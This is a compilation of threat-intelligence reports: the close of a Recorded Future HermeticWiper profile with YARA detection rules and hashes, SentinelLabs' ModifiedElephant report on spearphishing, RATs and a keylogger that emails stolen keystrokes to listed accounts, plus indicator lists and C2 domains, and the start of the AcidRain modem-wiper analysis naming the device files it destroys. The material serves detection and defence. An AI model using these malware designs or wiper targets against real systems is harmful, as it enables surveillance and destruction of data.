"1ae7556dfacd47d9efbe79be974661a5a6d6d923" // Hermetica Digital Ltd certificate and for 2 i in (0..pe.number_of_resources): ( pe.resources[i].type_string == "R\x00C\x00D\x00A\x00T\x00A\x00" and ( // Check resource names pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x006\x004\x00" or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x008\x006\x00" or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x006\x004\x00" or pe.resources[i].name_string == "D\x00R\x00V\x00_\x00X\x00P\x00_\x00X\x008\x006\x00" MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE // Check hashes for EaseUS driver hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5" or hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1" or hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd" or hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d" rule MAL_PartyTicket{ meta: author = "LKAYE, Insikt Group, Recorded Future" date = "2022-02-24" description = "Rule to detect pseudo-ransomware associated with HermeticWiper malware" version = "1.0" hash = "4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382" RF_MALWARE = "HermeticWiper" strings: $s1 = "403forBiden" ascii $s2 = "wHiteHousE" ascii $s3 = ".exe.gif.htm.ico.iso.jpg.mp3.msi.odt." ascii //this is fairly unusual for modern, professional ransomware to encrypt exes $s4 = "main.voteFor403" ascii $s5 = "main.n1hk9" ascii $s6 = "Thank you for your vote!" ascii //part of ransom note $s7 = "photoes" ascii //misspelling in ransom note condition: uint16(0) == 0x5a4d and filesize > 3000KB and all of them www.recordedfuture.com | Recorded Future MTP-2022-0302 MALWARE/TOOL PROFILE Appendix C: IOCs HermeticWiper Sample (SHA256): 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e Ransomware Sample (SHA256): 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 MTP-2022-0302 Recorded Future | www.recordedfuture.com MALWARE/TOOL PROFILE About Recorded Future Recorded Future is the world s largest intelligence company. The Recorded Future Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,300 businesses and government organizations across 60 countries. Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture. www.recordedfuture.com | Recorded Future MTP-2022-0302 MODIFIED ELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE Author: Tom Hegel, Juan Andres Guerrero-Saade February 2022 SentinelLABS Research Team MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E TABLE OF CONTENTS EXECUTIVE SUMMMARY BACKGROUND TARGETS & OBJECTIVES INFECTION ATTEMPTS WEAPONS OF CHOICE RELATIONS TO OTHER THREAT CLUSTERS ATTRIBUTION CONCLUSION INDICATORS OF COMPROMISE TECHNICAL REFERENCES ABOUT SENTINELLABS MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E EXECUTIVE SUMMARY Our research attributes a decade of activity to a threat actor we call ModifiedElephant. ModifiedElephant is responsible for targeted attacks on human rights activists, human rights defenders, academics, and lawyers across India with the objective of planting incriminating digital evidence. ModifiedElephant has been operating since at least 2012, and has repeatedly targeted specific individuals. ModifiedElephant operates through the use of commercially available remote access trojans (RATs) and has potential ties to the commercial surveillance industry. The threat actor uses spearphishing with malicious documents to deliver malware, such as NetWire, DarkComet, and simple keyloggers with infrastructure overlaps that allow us to connect long periods of previously unattributed malicious activity. S e n t i n e l L a b s Te a m BACKGROUND In September 2021, SentinelLabs published research into the operations of a Turkish-nexus threat actor we called EGoManiac, drawing attention to their practice of planting incriminating evidence on the systems of journalists to justify arrests by the Turkish National Police. A threat actor willing to frame and incarcerate vulnerable opponents is a critically underreported dimension of the cyber threat landscape that brings up uncomfortable questions about the integrity of devices introduced as evidence. Emerging details in an unrelated case caught our attention as a potentially similar scenario worthy of more scrutiny. Long-standing racial and political tensions in India were inflamed on January 1st, 2018 when critics of the government clashed with pro-government supporters near Bhima Koregaon. The event led to subsequent protests, resulting in more violence and at least one death. In the following months, Maharashtra police linked the cause of the violence to the banned NaxaliteMaoist Communist party of India. On April 17th, 2018, police conducted raids and arrested a number of individuals on terrorism-related charges. The arresting agencies identified incriminating files on the computer systems of defendants, including plans for an alleged assassination attempt against Prime Minister Modi. Thanks to the public release of digital forensic investigation results by Arsenal Consulting and those referenced below, we can glean rare insights into the integrity of the systems of some defendants and grasp the origin of the incriminating files. It turns out that a compromise of defendant systems led to the planting of files that were later used as evidence of terrorism and justification for the defendants imprisonment. The intrusions in question were not isolated incidents. Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionallyspecific targeting. ModifiedElephant is still active at the time of writing. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E TARGETS & OBJECTIVES The objective of ModifiedElephant is long-term surveillance that at times concludes with the delivery of evidence files that incriminate the target in specific crimes prior to conveniently coordinated arrests. After careful review of the attackers campaigns over the last decade, we have identified hundreds of groups and individuals targeted by ModifiedElephant phishing campaigns. Activists, human rights defenders, journalists, academics, and law professionals in India are those most highly targeted. Notable targets include individuals associated with the Bhima Koregaon case. INFECTION ATTEMPTS Throughout the last decade, ModifiedElephant operators sought to infect their targets via spearphishing emails with malicious file attachments, with their techniques evolving over time. Their primary delivery mechanism is malicious Microsoft Office document files weaponized to deliver the malware of choice at the time. The specific payloads changed over the years and across different targets. However, some notable trends remain. In mid-2013, the actor used phishing emails containing executable file attachments with fake double extensions (filename.pdf.exe). After 2015, the actor moved on to less obvious files containing publicly available exploits, such as .doc, .pps, .docx, .rar, and password protected .rar files. These attempts involved legitimate lure documents in .pdf, .docx, and .mht formats to captivate the target attention while also executing malware. In 2019 phishing campaigns, ModifiedElephant operators also took the approach of providing links to files hosted externally for manual download and execution by the target. As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection. Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-20133906, CVE-2015-1641 exploits to drop and execute their malware of choice. The spearphishing emails and lure attachments are titled and generally themed around topics relevant to the target, such as activism news and groups, global and local events on climate change, politics, and public service. A public deconstruction of two seperate 2014 phishing emails was shared by Arsenal Consulting in early 2021. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Fig 1: Spearphishing email containing malicious attachment attributed to ModifiedElephant ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo, to conduct their campaigns. The phishing emails take many approaches to gain the appearance of legitimacy. This includes fake body content with a forwarding history containing long lists of recipients, original email recipient lists with many seemingly fake accounts, or simply resending their malware multiple times using new emails or lure documents. Notably, in specific attacks, the actor would be particularly persistent and attempt to compromise the same individuals multiple times in a single day. By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate infrastructure over the years. Fig 2: Timeline sample of ModifiedElephant and SideWinder C2 Infrastructure. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E For example, from early-2013 to mid-2016, a reasonably clear timeline can be built with little overlap, indicating a potential evolution or expansion of activities. Dates are based on first and last spearphishing emails observed delivering samples that communicate with a given domain. Notably, a separate Indian-nexus threat actor, SideWinder, is placed alongside ModifiedElephant in this graph as they were observed targeting the same individuals. WEAPONS OF CHOICE The malware most used by ModifiedElephant is unsophisticated and downright mundane, and yet it has proven sufficient for their objectives obtaining remote access and unrestricted control of victim machines. The primary malware families deployed were NetWire and DarkComet remote access trojans (RATs). Both of these RATs are publicly available, and have a long history of abuse by threat actors across the spectrum of skill and capability. One particular activity revolves around the file Ltr_1804_to_cc.pdf, which contains details of an assassination plot against Prime Minister Modi. A forensic report by Arsenal Consulting showed that this file, one of the more incriminating pieces of evidence obtained by the police, was one of many files delivered via a NetWire RAT remote session that we associate with ModifiedElephant. Further analysis showed how ModifiedElephant was performing nearly identical evidence creation and organization across multiple unrelated victim systems within roughly fifteen minutes of each other. INCUBATOR KEYLOGGER Known victims have also been targeted with keylogger payloads stretching as far back as 2012 (0a3d635eb11e78e6397a32c99dc0fd5a). These keyloggers, packed at delivery, are written in Visual Basic and are not the least bit technically impressive. Moreover, they re built in such a brittle fashion that they no longer function. The overall structure of the keylogger is fairly similar to code openly shared on Italian hacking forums in 2012. The ModifiedElephant variant creates a hidden window titled cssrs incubator along with SetWindowsHookEx to monitor for keystrokes. It registers the mutex MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E 4oR_$$$tonelsu-mviiLempel-Ziv and uses the VBScript to WMI connector to query for the victim system s MAC address and operating system. The malware eventually exfiltrates the logs under the header Logs from via email. Fig 3: Log upload format string In some ways, the Incubator keylogger is far more brittle than the code referenced above as it relies on specific web content to function (that code is no longer available on the internet at the time of writing). For example, the keylogger will use a GET request to an outdated whatismyip. endpoint in order to get the victim system s IP. Fig 4: Outdated WhatIsMyIp endpoint used to check the victim s IP Similarly, in order to exfiltrate the logs, the keylogger pulls Microsoft schema templates to set up an SMTP server and push out the content using a hardcoded (but obfuscated) email address. None of the schema sites requested by the keylogger are available at the time of writing, rendering the keylogger (in its 2012 form) unable to function. Fig 5: Incubator keylogger using Microsoft schema templates to create an SMTP server MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E The keylogger makes use of hardcoded SMTP credentials and email addresses to deliver the logged keystrokes to attacker controlled accounts, including: Email Associated Sample chiragdin3@gmail.com 0a3d635eb11e78e6397a32c99dc0fd5a loggerdata123@gmail.com c095d257983acca64eb52979cfc847ef maalhamara@gmail.com 0a3d635eb11e78e6397a32c99dc0fd5a 56d573d4c811e69a992ab3088e44c268 1396f720bc7615385bc5df49bbd50d29 d883399966cb29c7c6c358b7c9fdb951 eff9b8e1ee17cd00702279db5de39a3c maalhamara2@gmail.com 0db49f572bb1634a4217b5215b1c2c6f ea324dd1dbc79fad591ca46ead4676a1 fd4902b8a4a4718f5219b301475e81aa nayaamaal1@yahoo.com 0db49f572bb1634a4217b5215b1c2c6f nayaamaal122@yahoo.com d883399966cb29c7c6c358b7c9fdb951 nayaamaal2@yahoo.in ea324dd1dbc79fad591ca46ead4676a1 nayaamaal4@yahoo.com 1396f720bc7615385bc5df49bbd50d29 newmaal@yahoo.com fd4902b8a4a4718f5219b301475e81aa shab03@indiatimes.com c095d257983acca64eb52979cfc847ef tamizhviduthalai@gmail.com 1720ae54d8ca630b914f622dcf0c1878 tryluck222@gmail.com 56d573d4c811e69a992ab3088e44c268 volvoxyz123@gmail.com ef42dc2b27db73131e1c01ca9c9c41b6 The keylogger samples also contain VBP and PDB paths, providing some potential context to their originating development environments. In some cases, the attacker conducted multiple unique phishing attempts with the same payloads across one or more targets. However, ModifiedElephant generally conducts each infection attempt with new malware samples. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E ANDROID TROJAN ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware payloads at the same time. The Android malware is an unidentified commodity trojan delivered as an APK file (0330921c85d582deb2b77a4dc53c78b3). While the Android trojan bears marks of being designed for broader cybercrime, its delivery at the same time as ModifiedElephant Netwire samples indicates that the same attacker was attempting to get full coverage of the target on both endpoint and mobile. Fig 6: ModifiedElephant Phishing email with malicious attachments for Netwire and Android GM Bot variants. Fig 7: ModifiedElephant Phishing email with malicious attachments for Netwire and Android GM Bot variants. The trojan enables the attackers to intercept and manage SMS and call data, wipe or unlock the device, perform network requests, and remote administration. In a very basic form, the trojan provides the attackers with an ideal low-cost mobile surveillance toolkit. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E RELATIONS TO OTHER THREAT CLUSTERS Our research into this threat actor reveals multiple interesting threads that highlight the complex nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms to track the same group of individuals. These include private sector offensive actors (PSOAs) and groups with possible commercial facades to coordinate their illicit activities. Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and may have relations with other regional threat actors. From our visibility, we can t further disambiguate the shape of that relationship whether as part of an active umbrella organization, cooperation and sharing of technical resources and targets across threat groups, or simply coincidental overlaps. Some interesting overlaps are detailed below. Multiple individuals targeted by ModifiedElephant over the years have also been either targeted or confirmed infected with mobile surveillance spyware. Amnesty International identified NSO Group s Pegasus being used in targeted attacks in 2019 against human rights defenders related to the Bhima Koregaon case. Additionally, the Bhima Koregaon case defendant Rona Wilson iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes backup found in the forensic disk images analyzed by Arsenal Consulting. Between February 2013 and January 2014 one target, Rona Wilson, received phishing emails that can be attributed to the SideWinder threat actor. The relationship between ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing emails overlap within our dataset. This could suggest that the attackers are being provided with similar tasking by a controlling entity, or that they work in concert somehow. SideWinder is a threat actor targeting government, military, and business entities primarily throughout Asia. ModifiedElephant phishing email payloads (b822d8162dd540f29c0d8af28847246e) share infrastructure overlaps (new-agency[.]us) with Operation Hangover. Operation Hangover includes surveillance efforts against targets of interest to Indian national security, both foreign and domestic, in addition to industrial espionage efforts against organizations around the world. Another curious finding is the inclusion of the string Logs from Moosa found in a keylogger sample closely associated with ModifiedElephant activity in 2012 (c14e101c055c9cb549c75e90d0a99c0a). The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the same time, with FinFisher spyware. Without greater information, we treat this as a low confidence conjecture in need of greater research. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E ATTRIBUTION Attributing an attacker like ModifiedElephant is an interesting challenge. At this time, we possess significant evidence of what the attacker has done over the past decade, a unique look into who they ve targeted, and a strong understanding of their technical objectives. We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there is an observable correlation between ModifiedElephant attacks and the arrests of individuals in controversial, politically-charged cases. CONCLUSION The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing to place significant time and resources into seeking the disruption of those with opposing views. Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential targets, the attackers techniques, and a rare glimpse into their objectives. Many questions about this threat actor and their operations remain; however, one thing is clear: Critics of authoritarian governments around the world must carefully understand the technical capabilities of those who would seek to silence them. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E INDICATORS OF COMPROMISE Type Label File ca91cea6038ebc431c88d7a3280566f5 File 1720ae54d8ca630b914f622dcf0c1878 File 0a3d635eb11e78e6397a32c99dc0fd5a File ebbddbdadfa5a7e3e5f00faf27543909 File 93f53bf0f3db53aebcad54a4aa8cc833 File 5c5279eab1cbffec7d174a79e4233217 File 7ad281f61b89a85ae69242f9bd1a28be File cc634fe1d5087d629b141d242ff49732 File 7fa8bb8c90a1d1864a5eda90bb8fa2a3 File eef779774586e59a0e387f7ce06b092e File b8a464741d16dcf046b1e27d63f62bcd File e631b2f8496c40e54951a2daebfc73ae File ad1b6380efb0aad16f01bd1a23f2e649 File 3e38ed7d2168d8170c50db86e5ebd99c File ae95cf0cd0e1a5cd6561ae3a17968dec File a650de5d94dd938d9fd0cf55fae83dd6 File c9da1fa9e874b68df14788c80ca5cfee File 319444e7bd7a20caef38dfcf22948f3c File b822d8162dd540f29c0d8af28847246e File d8fe02b0e134e8c9c338a784d2afacae File 54be0a494baaf99ea3f88bdf6557c282 File 77cb1d0ddf20461b35ccd60bc9e9693f File 1efe4a0981876ea7ec1780e21b0738a2 File bec87849d25eef2e41c0c2e42c90b044 File e1af82438339a1dd406479b884aba6f8 MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Type Label File ac65e7d08e48c6d20e3f90f7d9f73d8b File cb347961b2f25f91639c16431e224002 File b6071ff11d4b41e52143ec5ba416131a File 2463a3ed222be9d564e380b19522c481 File bf2d01c8cf111170589e52447b904163 File d883399966cb29c7c6c358b7c9fdb951 File a1af186d95ed7de686bd2e59e826f265 File 1396f720bc7615385bc5df49bbd50d29 File a07a315d5e05d4970a57d3c499f5c9dc File ac04dfc7ccd9cc317b73f5860da94e7a File a73e489b730cf730bd51ac790995d635 File afe38f5b0feeb4da163ca2d2ce85379b File aa7faa3465f31f2f3343fe3646af2fba File a77833d689be13eae622d48f8a5a8b12 File abd0b2779bdf3b0dd8b2a97815501850 File d6a491618a97e0044cc5f319d58c2dac File 778547b3e0371ba048c32010b0dc42de File d49f22104d979efb5e2da383fea403fe File f1b6f87fd82f20f68f8624d63abda57d File cadbc701381ed49c37ee3452171e0934 File a6b71ac86b1267385950815b7d18861b File fd4902b8a4a4718f5219b301475e81aa File eff9b8e1ee17cd00702279db5de39a3c File 63b25fb5c4a41103d8f30659b3ed2c27 File b662b3fc9174e608718072ea55b37472 File 43cc3810b86a27e4a15349bbcad3e8e4 File ef42dc2b27db73131e1c01ca9c9c41b6 File ead29687b7c4e76c59269e76a85341b7 File bf6c7302cb2bbad454ad4302152285fe MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Type Label File 74c0c5b81124b13b05b9c8792d50597e File 1f0265c7fe4560d66f722e4264e717db File 3b5a6b3a04ac5c2902ede522614c868c File 6ebae56d4cc2a9a9454603b6116fa1a4 File 05472d6ee747a0e8aff33cf4e5d1141c File 602df3a5732f8d8be2d9d6d8b8c48105 File aca0516142f102aba41e046a340f24e9 File cdc613712ac2ab85d6a0d314bb95a082 File 3e597147b7f94ea1cce064c11edffc42 File c0a2202236b0db4702e2ed521aef048c File bee81874f719d61093f7ce12b2641ee4 File d49f22104d979efb5e2da383fea403fe File 6a802a1dbdb11b8ac086c7a335a212b4 File a956cbab8fd7eaaf0c7dc8c7fd314a12 File c30b3a305bb180d7dc28e4cdfcda8bdf File ea324dd1dbc79fad591ca46ead4676a1 File 04a186f53fdc9e871cb408df9c4a93ad File 56d573d4c811e69a992ab3088e44c268 File 114c1a7d605f57752450a4985d143337 File b18bd12e615dca9094aac74740f0d154 File 1f3dac514c6f7542d84763dfd1c622b9 File 944d16d2e96dbb4092941857a66f3e07 File deb655a7a79832e2313e40d8d901f958 File 3a2f2086ac104d71f450b30ab47e36d5 File 04061f6e1a0463131ed129bcb03003d5 File 0db49f572bb1634a4217b5215b1c2c6f File a21dfecebfb3bc499f805c71a6584f2b File b7c1de8c84583465a78202f46bae4065 File 13bacd239931b7a1bea2f91a3c5f4d79 MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Type Label File a8cb8aed839878d4ca028c8f43bbfab3 File 61c22386df656f32f45bc1928a1e5a94 File d2a2e167f68e02b3713052ee3d63e013 File afe6d7985388013e32ae388a29600ae2 File 619016de4589ecb7039844a7c9a3f326 File 1fa4d31f8ce38b0660cfbee3da26ca63 File a8cea2eb313a908037bcc273b99a434d File 0330921c85d582deb2b77a4dc53c78b3 File c0636b98f0c20fa82870d10ffd21dfe1 File e8efc4a7d41d754968199aebbfba77db File 03e40d5f54940d3da97aa8ff981551a2 File bf164f4ffe8f571666e6ffdabba9d08f File c35b13ca7dc705361237e341af7a7e08 File a7ce8ea97df340e6f7a77dcbe065a617 File 0ad6bf767f5c45a6faf32a40c5807057 File ac7ebe2cb77dd9ac74bc55931e91bc23 File d698739648717c21e7eb2ba1806e673a File a7e96388fef3ac919f9f6703d7c0ebd4 File bf868371dd78162283a193940a1ae9fd File c14e101c055c9cb549c75e90d0a99c0a File d25250dca84aad3747418432c52be231 File 4dd1c71eee084eafdd0e9a29bd4d2e59 File 557bcc59ab20c44eb5b84c5073199983 File fedeb97850c1d917fbe3aeac388efd35 File 9ca885835c2c08af33ccf9e094358ea6 File b1c18520937d259d253d07e085d9e2b0 File 5b7780fc5e535eb507d86a54db70dee2 File 489c42a45b233acc377d10e1ec424b4b File b7818efa622a88d0c59e9c744cc91d43 MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Type Label File 28094131dfc2c92d57a665c7fbc4fc0e File af79639a14200ea25410b902fe0d5ee7 File 6be54d26001bd55770e3259562046ab2 File dccff8250ab9f275b367688e0eba7ec6 File 550dce15c334bc6b46c41c705d197e19 File c095d257983acca64eb52979cfc847ef File a2e70ef708c06fdc57b0079dda4f89fe File 93bed674dacbf3959c103711164747bf File 60bff49b10afc593f67888c4f767ea36 File e6714e3bd83b4a349ab48cc203b91813 File bfd3e1a3926fd5ef4eec1ac533f2ee34 File e60b8ddee18e295d9e33e490eafdbfb3 File 96212539955ef86074398485c46e0483 File 169a58a0743301ebc5a536d890f10c06 File aaad5fe071f985c57164a2766d4d8a89 File c7a48f4f6ade403e09c3bac7185e92ee File 60a083a1b7cd5e9a30212dc9541e161d File c57f16bd980eec7340d1e541877f0098 Domain pahiclisting.ddns[.]net Domain bzone.no-ip[.]biz Domain johnmarcus.zapto[.]org Domain ramesh212121.zapto[.]org Domain atlaswebportal.zapto[.]org Domain testingnew.no-ip[.]org Domain nepal3.msntv[.]org Domain socialstatistics.zapto[.]org Domain socialstudies.zapto[.]org Domain gayakwaad[.]com Domain knudandersen.zapto[.]org MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E Type Label Domain jasonhistoryarticles.read-books[.]org Domain duniaenewsportal.ddns[.]net Domain vinaychutiya.no-ip[.]biz Domain researchplanet.zapto[.]org Domain greenpeacesite[.]com Domain new-agency[.]us Domain chivalkarstone[.]com Domain newmms[.]ru TECHNICAL REFERENCES h t t p s : // w w w . a m n e s t y . o r g / e n / l a t e s t / r e s e a r c h / 2 0 2 0 / 0 6 / i n d i a human-rights-defenders-targeted-by-a-coordinated-spywareoperation/ [Archived] h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-I.zip [Archived] h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-II.zip [Archived] h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Surendra-Gadling-Report-III.zip [Archived] h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e R o n a - W i l s o n - R e p o r t - I V. z i p [ A r c h i v e d ] h t t p s : // w e b . a r c h i v e . o r g / w e b / 2 0 2 1 0 2 2 6 1 3 1 0 4 7/ h t t p s : // p a p e r . s e e b u g . o r g / p a p e r s /A P T /A P T _ C y b e r C r i m i n a l _ C a m p a g i n / 2 0 1 3 / N S U n ve i l i n g - a n - I n d i a n - C y b e ra t t a c k - I n f ra s t r u c t u re _ F I N A L _ We b . p d f h t t p s : // a r c h i v e . o r g / d o w n l o a d / u n v e i l i n g - a n - i n d i a n - c y b e r a t t a c k infrastructure-appendixes/Unveiling%20an%20Indian%20 Cyberattack%20Infrastructure%20-%20appendixes.pdf h t t p s : // g i t h u b . c o m / m a l w a r e k i w i / P u b l i c - C o n t e n t / r a w / m a s t e r / G l o b a l % 2 0 P e r s p e c t i v e % 2 0 o f % 2 0 t h e % 2 0 S i d e W i n d e r % 2 0 A P T. p d f MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E ABOUT SENTINELLABS InfoSec works on a rapid iterative cycle where new discoveries occur daily and authoritative sources are easily drowned in the noise of partial information. SentinelLabs is an open venue for our threat researchers and vetted contributors to reliably share their latest findings with a wider community of defenders. No sales pitches, no nonsense. We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms. SentinelLabs embodies our commitment to sharing openly providing tools, context, and insights to strengthen our collective mission of a safer digital life for all. MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E AcidRain | A Modem Wiper Rains Down on Europe sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe Juan Andr s Guerrero-Saade By Juan Andres Guerrero-Saade (@juanandres_gs) and Max van Amerongen (@maxpl0it) Executive Summary On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems inoperable in Ukraine. Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to communicate for remote monitoring or control. Viasat s statement on Wednesday, March 30th, 2022 provides a somewhat plausible but incomplete description of the attack. SentinelLabs researchers discovered new malware that we named AcidRain AcidRain is an ELF MIPS malware designed to wipe modems and routers. We assess with medium-confidence that there are developmental similarities between AcidRain and a VPNFilter stage 3 destructive plugin. In 2018, the FBI and Department of Justice attributed the VPNFilter campaign to the Russian government AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine. Update: In a statement disseminated to journalists, Viasat confirmed the use of the AcidRain wiper in an attack against their modems. Context The Russian invasion of Ukraine has included a wealth of cyber operations that have tested our collective assumptions about the role that cyber plays in modern warfare. Some commentators have voiced a bizarre disappointment at the lack of cyber while those at the coalface are overwhelmed by the abundance of cyber operations accompanying conventional warfare. From the beginning of 2022, we have dealt with six different strains of wiper malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper, CaddyWiper, and DoubleZero. These attacks are notable on their own. But there s been an elephant in the room by way of the rumored satellite modem hack . This particular attack goes beyond Ukraine. We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of 5,800 Enercon wind turbines in Germany. To clarify, the wind turbines themselves were not rendered inoperable but remote monitoring and control of the wind turbines became unavailable due to issues with satellite communications. The timing coincided with the Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian 1/12 military command-and-control capabilities by hindering satellite connectivity spilled over to affect German critical infrastructure. No technical details became available; technical speculation has been rampant. On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack took place in two phases: First, a denial of service attack coming from several SurfBeam2 and SurfBeam2+ modems and [ other on-prem equipment ] physically located within Ukraine that temporarily knocked KA-SAT modems offline. Then, the gradual disappearance of modems from the Viasat service. The actual service provider is in the midst of a complex arrangement where Eutalsat provides the service, but it s administered by an Italian company called Skylogic as part of a transition plan. The Viasat Explanation At the time of writing, Viasat has not provided any technical indicators nor an incident response report. They did provide a general sense of the attack chain with conclusions that are difficult to reconcile. Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to the trust management segment of the KA-SAT network, moved laterally, then used their access to execute legitimate, targeted management commands on a large number of residential modems simultaneously . Viasat goes on to add that these destructive commands overwrote key data in flash memory on the modems, rendering the modems unable to access the network, but not permanently unusable It remains unclear how legitimate commands could have such a disruptive effect on the modems. Scalable disruption is more plausibly achieved by pushing an update, script, or executable. It s also hard to envision how legitimate commands would enable either the DoS effects or render the devices unusable but not permanently bricked. In effect, the preliminary Viasat incident report posits the following requirements: 1. Could be pushed via the KA-SAT management segment onto modems en masse 2. Would overwrite key data in the modem s flash memory 3. Render the devices unusable, in need of a factory reset or replacement but not permanently unusable. With those requirements in mind, we postulate an alternative hypothesis: The threat actor used the KA-SAT management mechanism in a supply-chain attack to push a wiper designed for modems and routers. A wiper for this kind of device would overwrite key data in the modem s flash memory, rendering it inoperable and in need of reflashing or replacing. Subsequent to this post begin published, Viasat confirmed to journalists that our analysis was consistent with their reports. 2/12 Viasat told BleepingComputer that The analysis in the SentinelLabs report regarding the ukrop binary is consistent with the facts in our report specifically, SentinelLabs identifies the destructive executable that was run on the modems using a legitimate management command as Viasat previously described The AcidRain Wiper On Tuesday, March 15th, 2022, a suspicious upload caught our attention. A MIPS ELF binary was uploaded to VirusTotal from Italy with the name ukrop . We didn t know how to parse the name accurately. Possible interpretations include a shorthand for aine eration, the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for Ukrainians . Only the incident responders in the Viasat case could say definitively whether this was in fact the malware used in this particular incident. We posit its use as a fitting hypothesis and will describe its functionality, quirky development traits, and possible overlaps with previous Russian operations in need of further research. Technical Overview SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a SHA1 86906b140b019fdedaaba73948d0c8f96a6b1b42 ecbe1b1e30a1f4bffaf1d374014c877f Name ukrop 3/12 Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped First Seen 2022-03-15 15:08:02 UTC AcidRain s functionality is relatively straightforward and takes a bruteforce attempt that possibly signifies that the attackers were either unfamiliar with the particulars of the target firmware or wanted the tool to remain generic and reusable. The binary performs an in-depth wipe of the filesystem and various known storage device files. If the code is running as root, AcidRain performs an initial recursive overwrite and delete of non-standard files in the filesystem. Recursively delete files in nonstandard folders 4/12 Following this, it attempts to destroy the data in the following storage device files: Targeted Device(s) Description /dev/sd* A generic block device /dev/mtdblock* Flash memory (common in routers and IoT devices) /dev/block/mtdblock* 